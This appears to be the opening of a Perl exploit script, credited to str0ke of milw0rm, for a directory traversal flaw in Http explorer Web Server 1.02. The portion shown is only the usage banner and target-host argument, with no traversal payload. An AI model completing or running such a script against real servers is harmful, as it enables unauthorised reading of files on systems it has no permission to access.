use LWP::Simple;
use strict;

sub usage
{
print "Http explorer Web Server 1.02 Directory Transversal Vulnerability\n";
print "str0ke (milw0rm.com)\n";
print "Usage: $0 www.example.com\n";
exit ();
}

my $host= shift || &usage;